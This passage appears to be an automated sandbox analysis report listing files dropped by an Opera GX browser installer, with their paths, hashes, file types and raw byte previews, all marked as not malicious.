                                                                                                                                                                                                              SSDEEP:12:mgWiqgWiGlctgWmXagWmQEtgWqDWgWqbtgWSgWuWHwWiqwWiGlcHwWmXawWmQEHu:mgWiqgWibtgW2agWZEtgWqDWgWqbtgWJ
                                                                                                                                                                                                              MD5:3B491170F7EEA56B574A24876BF7451D
                                                                                                                                                                                                              SHA1:C5CC1BE375BB413978752F0210CD0A76A415FAEB
                                                                                                                                                                                                              SHA-256:D30B4A5E4B31A93F5EB6C20D94243839DFED71E69071683C6838B424CC2A071D
                                                                                                                                                                                                              SHA-512:178AF7B1AD0A2ADC377B921C350BF877E4D82E561C2058B7DA66CBD6172681849E4ECA77DD2D385AB8309179B15C52B2522F181A5188A448478A09677F68C7AB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:Assets\150x150Logo.scale-100.png..Assets\150x150Logo.scale-100_contrast-white.png..Assets\150x150Logo.scale-140.png..Assets\150x150Logo.scale-140_contrast-white.png..Assets\150x150Logo.scale-180.png..Assets\150x150Logo.scale-180_contrast-white.png..Assets\150x150Logo.scale-80.png..Assets\150x150Logo.scale-80_contrast-white.png..Assets\70x70Logo.scale-100.png..Assets\70x70Logo.scale-100_contrast-white.png..Assets\70x70Logo.scale-140.png..Assets\70x70Logo.scale-140_contrast-white.png..Assets\70x70Logo.scale-180.png..Assets\70x70Logo.scale-180_contrast-white.png..Assets\70x70Logo.scale-80.png..Assets\70x70Logo.scale-80_contrast-white.png..Resources.pri..launcher.visualelementsmanifest.xml..opera.visualelementsmanifest.xml..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\root_files_list.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):730
                                                                                                                                                                                                              Entropy (8bit):4.668284777150785
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:mgWiqgWiGlctgWmXagWmQEtgWqDWgWqbtgWSgWuWHwWiqwWiGlcHwWmXawWmQEHu:mgWiqgWibtgW2agWZEtgWqDWgWqbtgWJ
                                                                                                                                                                                                              MD5:3B491170F7EEA56B574A24876BF7451D
                                                                                                                                                                                                              SHA1:C5CC1BE375BB413978752F0210CD0A76A415FAEB
                                                                                                                                                                                                              SHA-256:D30B4A5E4B31A93F5EB6C20D94243839DFED71E69071683C6838B424CC2A071D
                                                                                                                                                                                                              SHA-512:178AF7B1AD0A2ADC377B921C350BF877E4D82E561C2058B7DA66CBD6172681849E4ECA77DD2D385AB8309179B15C52B2522F181A5188A448478A09677F68C7AB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:Assets\150x150Logo.scale-100.png..Assets\150x150Logo.scale-100_contrast-white.png..Assets\150x150Logo.scale-140.png..Assets\150x150Logo.scale-140_contrast-white.png..Assets\150x150Logo.scale-180.png..Assets\150x150Logo.scale-180_contrast-white.png..Assets\150x150Logo.scale-80.png..Assets\150x150Logo.scale-80_contrast-white.png..Assets\70x70Logo.scale-100.png..Assets\70x70Logo.scale-100_contrast-white.png..Assets\70x70Logo.scale-140.png..Assets\70x70Logo.scale-140_contrast-white.png..Assets\70x70Logo.scale-180.png..Assets\70x70Logo.scale-180_contrast-white.png..Assets\70x70Logo.scale-80.png..Assets\70x70Logo.scale-80_contrast-white.png..Resources.pri..launcher.visualelementsmanifest.xml..opera.visualelementsmanifest.xml..

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\snapshot_blob.bin

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):313526
                                                                                                                                                                                                              Entropy (8bit):4.171315627339688
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:TgC8/wQXLwqHMp2ubdJbhx73by4z2mihppIlYihJtkoBzpwDTA:TgC8XwqexrNu5Cujs
                                                                                                                                                                                                              MD5:5485B18F7D15132F02D82D718D0067BE
                                                                                                                                                                                                              SHA1:AC5FED6ECFC262A4E321DF74E2E54CC2C0EDF002
                                                                                                                                                                                                              SHA-256:05A7D190758E1B9508C19CEB9EEFDDF346852F6A1080E36509360DD57E0ACD34
                                                                                                                                                                                                              SHA-512:50DB8E15E58ACF0C57D5818838BDCD1F3DE205B0F12DBF39EBA74B90B683FE21AAAC4F1DDDA0C5BBD727D6DD0DD5E29C4D6E0EF926429B203866AC205153CF3A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........1.\...12.8.374.36......................................................K..&...........<...`K....a........a........a2.......aj.......a2.......aN...............r.........2..............R..............r.........2........(Jb....Q.....@..F^.E..I.`.....(Jb...2U.....@..F^..`.....H...IDa........Db............D`.....A.D`.....D]D....Da..........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\v8_context_snapshot.bin

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):665981
                                                                                                                                                                                                              Entropy (8bit):5.170969053897484
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:3BUhye6gCsgwqexrNu5kTGWDgH1Q1dhgXcUhxRd/4RpZqCaByg6EkknFmJA:3BUhye6gCorGWD9qMgNCaBYEznFmJA
                                                                                                                                                                                                              MD5:42D8A0B0EF6A264FF266C214F75487CF
                                                                                                                                                                                                              SHA1:336DE8F688DB9AAC5429A43196734822380BC625
                                                                                                                                                                                                              SHA-256:92177F36B6FD7F1D0BB9E8B90ADEAF88D5F550F7B3E3249045E5DA5BECB75111
                                                                                                                                                                                                              SHA-512:56A29BD8CEBA95030205A39415B4DB33CE8A30687AD20E778C3A1DD5C5879CBD15DD021AB46DB0026E8EEEF6B43442BCF55B0D5822A5012EB123F0C3CACD29A1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........h...na12.8.374.36.....................................................P....e.......P..........<........a........a........a........aj.......a2.......aN...............r.........2..............R..............r.........2........(Jb....Q.....@..F^.E..I.`.....(Jb...2U.....@..F^..`.....H...IDa........Db............D`.....A.D`.....D]D....Da..........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vk_swiftshader.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5292440
                                                                                                                                                                                                              Entropy (8bit):6.31601548514998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:49152:rWgSq5hnDsmnWxVJ4pv5U74j/gtEnW5rgqUi+irYl+3znKHOvb8PajRaYhyjdrXR:vthnD/k8OvbcasFEhS
                                                                                                                                                                                                              MD5:BBBCCA0F9C899F7B06EE9B9873ADF96F
                                                                                                                                                                                                              SHA1:BA0228812D81EEB38C7A2906CC0A9C095AC728AD
                                                                                                                                                                                                              SHA-256:E811992D9894CF5BA5C9137C9D1324FE20F889A918C031FC91452ACFC6BFDC67
                                                                                                                                                                                                              SHA-512:75A00FEAB0848E30C9DD528C94CF4E90363BF7C8D576D1EAE2287F72FC8FB7EF04D8ED5E4AA2B42E2F3B431AB9C4F5A123B79170BEB555E39DE0C74D2ADE9379
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." ......?..........W7...................................... R......WQ...`A........................................hYL.....@yL.P.....Q.......P.4(....P..)....Q.pj..\4L.8...................@3L.(.....?.@............}L.8............................text...W.?.......?................. ..`.rdata..tq....?..r....?.............@..@.data...H....PM......0M.............@....pdata..4(....P..*....N.............@..@.gxfg....-...@Q.......O.............@..@.retplne.....pQ...... P..................tls....Y.....Q......"P.............@..._RDATA........Q......$P.............@..@.rsrc.........Q......&P.............@..@.reloc..pj....Q..l...,P.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vk_swiftshader_icd.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):106
                                                                                                                                                                                                              Entropy (8bit):4.724752649036734
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                              MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                              SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                              SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                              SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vulkan-1.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):895896
                                                                                                                                                                                                              Entropy (8bit):6.630963672240475
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:JBworv9ysd/p1K3zPu6Z5W1DYsHq6g3P0zAk7l0NjFl6:JBXlL/zCzW6Z5W1DYsHq6g3P0zAk7yh6
                                                                                                                                                                                                              MD5:A0FBEE199E88C1C2CFAFDC32C2CAFE28
                                                                                                                                                                                                              SHA1:53BECDE6B08A75CA2FF363B98ECBAEA324506BDD
                                                                                                                                                                                                              SHA-256:37AA29C023DDF5180CE3D0CEAE67EAA97EE5D9AD8057D19731F0F74874075E72
                                                                                                                                                                                                              SHA-512:713A2278091006388BE4A72410A8238612FDDA5F59A54226DFD749D83D6DA756F655B94D66F45CF54C8825ADE618F004EF784E931610D6B119F5AC32AC41A4D8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .................{..............................................,.....`A.........................................(..<!...J..P............ ...b.......)......$.......8.......................(.......@...........8N...............................text............................... ..`.rdata..............................@..@.data....L......."..................@....pdata...b... ...d..................@..@.gxfg....'.......(...B..............@..@.retplne.............j...................tls.................l..............@..._RDATA...............n..............@..@.rsrc................p..............@..@.reloc..$............t..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win10_share_handler.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):994200
                                                                                                                                                                                                              Entropy (8bit):6.436198117473689
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:2/Pedhd4TpI5BdUDUoLqEK23sB5pgu4n/WMquQZtbdQnXkwkor:ldT4TpgdZoLqHBbH5lZA5k0
                                                                                                                                                                                                              MD5:5A284878FFF9132E9BBE66C0BECA2C4F
                                                                                                                                                                                                              SHA1:520D18503F77C8A5B3558AA2450705CDF2004476
                                                                                                                                                                                                              SHA-256:72CCDA7017901170971D9394507BCCD7A57491DFC245939730687CEF6E6CA809
                                                                                                                                                                                                              SHA-512:37CB51F7A966E8D57C9ADBDF984AC6FAC2DAB75196E9D922F8A1160755F8D4220B1CCE23C650E6311473A1F7DA7658E7DB3243BFEED252501281DB9F8D022D6A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." ................@...............................................=G....`A................................................,...x................d.......)..........<...8................... ...(....!..@............................................text............................... ..`.rdata..4v.......x..................@..@.data...H}...........n..............@....pdata...d.......f...V..............@..@.gxfg...@'.......(..................@..@.retplne.................................tls....j...........................@..._RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win8_importing.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):570264
                                                                                                                                                                                                              Entropy (8bit):6.187805577981613
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:I8CEsuMAnuKbFjTX2M7JwESuFnWYTlZRD+RQz70wvmI2/JCf3U5+C8OV:7GuMTMdtSuF7vz70wvmb/JC/UokV
                                                                                                                                                                                                              MD5:FF43491029E49D564D02C7EA1A91CE1A
                                                                                                                                                                                                              SHA1:667CD2D9A94CACC2F9402E9C549B948F03C98DBF
                                                                                                                                                                                                              SHA-256:729108CF1D12DC21F8E47BFD275A5C1F7D7F46525DA50DA650CB2C26C299844E
                                                                                                                                                                                                              SHA-512:0A38FD0BCDF2FF9EC54ECCA009D18F15E10F13C3E9EE355AEA9DD500B768BF885ABD3BBE72EC127E3425DCB5957259312F394CD571B0894D07730768D112C8B2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .........................................................`............`A........................................@.......D...d................>.......)...P..........8.......................(.......@...............@............................text...f........................... ..`.rdata...i.......j..................@..@.data....S...P.......0..............@....pdata...>.......@..................@..@.gxfg...p%.......&...P..............@..@.retplne..... .......v...................tls....1....0.......x..............@..._RDATA.......@.......z..............@..@.reloc.......P.......|..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\843e5cc0-74ce-4254-8b68-8cb215fa2407.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1661
                                                                                                                                                                                                              Entropy (8bit):5.168590885830054
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Yv8IYhH3HLq8PBAlXL+eCKr8PQdN9IpHeZi3rC:zH37W9L+t+OpHeZi7C
                                                                                                                                                                                                              MD5:42FEBD3904B67C86E97C4A64752E6CBF
                                                                                                                                                                                                              SHA1:3F20629A3EC2DE3344FD6200318812B8CB779D93
                                                                                                                                                                                                              SHA-256:58455A978814DC99915A21D7EBAA8FE49E2454EC2A41F402718C2CE49C907AB2
                                                                                                                                                                                                              SHA-512:C235977DBBCEF58C9258C6B4ECF8A7003DF3721A98FF5727F16AFF7DE0EC65A5A2DD021A96B5A428FE007EEEC21BA6A63441D6B26D8C75E9F506D889D8C78A56
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"all-installer-experiments":["installer-experiment-test@2","installer-bypass-launcher@1"],"au_task_error_count":1,"autoupdate":false,"browser_edition":"std-2","country":"US","enable_stats":true,"features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","import_browser_data":false,"installer-experiments":[],"installer_id":"fd3efedc-b811-

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\99ab6984-f48c-4ffc-9eed-aeb77749eb9a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):1637
                                                                                                                                                                                                              Entropy (8bit):5.164824018264452
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Yv8IY5H3HLq8PBAlXL+eCKr8PQdN9IpHeZi3rC:PH37W9L+t+OpHeZi7C
                                                                                                                                                                                                              MD5:5E373160487EE20EDDA4F734CA7D3726
                                                                                                                                                                                                              SHA1:D9C82741586D02B578145EF4D2A6A31CA8D1584F
                                                                                                                                                                                                              SHA-256:338169AEA15EDC46B533F98A714E754E2EF9984534EEE4FA43E908FCE13BBA40
                                                                                                                                                                                                              SHA-512:E1ED69DFBDE2DD5A66E1AE373E1E44FD89227275FEECF5830FF6BA08221D25162AA97513CA27C3A4E8B544874F93F67A464F275FE11DFEDEFA4B53B023E8BA00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"all-installer-experiments":["installer-experiment-test@2","installer-bypass-launcher@1"],"autoupdate":false,"browser_edition":"std-2","country":"US","enable_stats":true,"features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","import_browser_data":false,"installer-experiments":[],"installer_id":"fd3efedc-b811-4108-a240-97f2db4d0ece",

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-100.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2181
                                                                                                                                                                                                              Entropy (8bit):7.807674908350133
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Pe+1prHq0WWdnFX5lKhqEiJVk10s5pqe/cme:G+1prHqXkhrWqEiJa10ae
                                                                                                                                                                                                              MD5:B5A21B88B3D8A42DF265817EBEB742BB
                                                                                                                                                                                                              SHA1:E0BE32B4FC158DB4E9783094CCE614922114B742
                                                                                                                                                                                                              SHA-256:9635C074C9D8EDDE0BAF3111DBD7DB49CBDC370C4F729C80AC382949F32BE526
                                                                                                                                                                                                              SHA-512:21ECE0DCF17B038400D09565438FCE8BE61746DAA0250F2FA9D0526BBA3D1CE6F8DA5CCE944EF8FA685C5EB6CF857B073D2A50ADA44A44A76D84813871FAA5D0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............<.q....LIDATx...1..... ..6.^`...................{........m.m].m.m.m........[s....._.....N.Nw..._w..P...R... ......`........_[.i1...`.$.......C......*..,...v.l.>.ZP.B...E@......!?d..!.d.R......g)0...^H[.u.4.k`....0<.d.1.....0...Q`..I.._T..!...|pG.m=..a&.e.U(...C...n.^`........FB.X...Oio...z!...:.Tx.8;..9.[a........{.~.^......P.].r..d..A...?....<y.v"......l......^..._.....MA.o....?.>u._.d..`......E.@.5........E..................R...A..O}{.k..2.....jx\..5U.a.%."#.nA....6.!..W2.............R..j6r..v...."....N.GA..8.......>..p..#..,X.....Q...y..#.a..)....Q.e.zc\.'@.Al.....io....=......D.......F......A#6.^.^.Ma5...b.b...D...+.P.. .[.o..z....,...#<U.0.O.#..Z..........Q{...jA..ka|}...q.s.y^.!.Gh..R....t.g....F.......gt..6...7YjaU....0.*.......3..l.#.. =.h0t.06.v..C...T.}m..%...g..i,Cq..8.g.q..hx. .>..Kz...1....VF.)..q..$....._Z-.U...(....~>...-z]$.mh.%...e.+.....|.n.2..:...N._R..x..>.|S......i?.P....Q.F.d..U.8..i...T...........I.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-100_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 150 x 150, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1828
                                                                                                                                                                                                              Entropy (8bit):7.716814612583543
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:uIrxqF+qFL9yUaKagPWex0mLgIbPdyFKD0YTkogFey6mkAN7G:3wFRoGagTx0A4KDfTko6eCZG
                                                                                                                                                                                                              MD5:0BAE0648C3E320C4D439F158B4FD5531
                                                                                                                                                                                                              SHA1:4E860AE24F03522C89BDF37F3CCC10B54832861E
                                                                                                                                                                                                              SHA-256:28CE8FCB22080CE1F69346CB0720BBE5662959E413426F00062B706013DA8C28
                                                                                                                                                                                                              SHA-512:6A5E4105CCBE1664546798DB057B93622C9CBD6D5AF4967E6BE4E390A18FEC0FFCC807E3331F09ED0DE63ED85569BE7EC5EED5A7C663DF6CE4A5B70E09500371
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR................i....IDATx...i.]U........J..RT.H....T...seV..)b.B.5.@.a.Q..P.c. 2E....eR...P(.....P........I...s..v...y...u......Q.EQ.EQ.EQ.EQ.EQ.EQ.EQ.EQ...S.n...j.."....p..|B..]....>.......9.32.....Y.l.R..*y.\.8.4.....p.K..EY%}.5.h.[*.|.V..i.F..q~...;..W61.M5_..1F...Gj..IZ..u. ...*.w....oS..D.r.).U....j.y.#..y..U..;S.-"...n..v.^i.UW.j.hk...n.....,...LRe[.i.}....H.z@.9.q..".v.U9.""n.)....DD.iX.b.....*'....v5.#..~.$.7.]..Tm.....i......+....m...x.j_.'"NG.]..n.j.vl{..Ls...;.T.=E..3...1;.v..xB...*"^.1U..8...xL,7]...D.9.i.."..N.."...c..D...X...c+.t..8M...[......"f.........R..0R.1..Xh..;ND.=U.ID.a.....v..8...'.uct.....k.q>.q.jc.+b...F....r....AN.....}.....Y.J.k~.;4.3".U....s..$....n.q.b{.q.j......".Y_..E...b.=.S.".4...[...S....Y.6O.L...."...."......i../"..!M.>..4ED.....I..""60x.Ct.i...4.."..f..`(.....4..5.L....o........*W....xX.M...E..C...r.....U...8..<'.G.}D....E.k!.8...ED..iL...V.8.."b.C3[Dl..gED..^....-...NDL.iBs..O...`m..zW...k.A

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-140.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 210 x 210, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3140
                                                                                                                                                                                                              Entropy (8bit):7.81304512495968
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:X4+RWiQZwj2bSjtW8+i2elETWt5nQ1pzuiV8:ozEW8+iZECt9kzuie
                                                                                                                                                                                                              MD5:7E529063A02E4E83736B0263CB1B82E0
                                                                                                                                                                                                              SHA1:17A3C4B76962E90B1D2FA8A49441157949F4DC78
                                                                                                                                                                                                              SHA-256:A36A13A5D5E3D39E3018CCC5F8859944C87256F8BE24A3C08A6BF3CB06A26804
                                                                                                                                                                                                              SHA-512:571806725F83FECA90360B246D167A8857EDFD9EDC8DC0EF7EEEF80F291FD06088C405A5653513CB8AA309DF08CD609DF85A95E3379E3E5907566C876CA77CDE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR.............?..B....IDATx................................................{..dg.8....m....m.Z.m..;;y...s.GI?..Su..k=.T#..#.;..}/\.g..:b..a+.....t.A}...q..hq.-.}...`:.gk....tm.$...Ax.....B....c.ih....G6L.....;...T.U0...l....~...........W....=<j.....X..O.....r.Y..-..Q..1.....q`..PC..jL...x.'9........y.b=L.m..(U........a.....W......`:.Me.jh..U0.......;..{..I..|.W..C..4...b.nt.......L..a.........`9.!..7N@.......E.?..$.._.q..6..":.+`....W.O.G>o.F.K.c..G.28..Q.....|.....m..#X......N.P..{:...1.........4...F.....w......Z89.Y.w`.L...v.DC.h'......h...[=...c.2...&ze*h..t..j...@?..cpN......0...KC.....f..F.....2"...c1..m.)y..q..(..C,.e..!w.N@I..q4.......!.A...;q..Y..sy.{...."L.p..#<...'.-8.!u.C#...O;.......y<.=....h.c<.=...5N...s....._...p,..Ia...yo....=...Y..4...t.}m@....g._.......#.M{...t........t...;.bjh..l..84.C8..z....B9..[.D.R..}...r..e.pl...~.....<.~ `...Ep..b...L.^.9..x.vB..IZH.a,k..c..L..U...M0....}.n........H..<.!..B.(Y

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\150x150Logo.scale-140_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 210 x 210, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2659
                                                                                                                                                                                                              Entropy (8bit):7.828610258666657
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:zQX9JrPPPPPPnouwOlIbylOhFARjcSY1E1y0fAiKb+Y+GzYvpSYWTX5sPPPPPPPn:z0rPPPPPPojFby+m00fAiKiySSYWTXqP
                                                                                                                                                                                                              MD5:EBE7D27ED3B4CB6566A10165ABFAA941
                                                                                                                                                                                                              SHA1:FDF7C27058CF5DAF7061756E938A33C1BBB26C3D
                                                                                                                                                                                                              SHA-256:0BD63FE653885286E180FBDF6D1DADC66AF242B8ED6BD1D03D8C5ECCC20E91D7
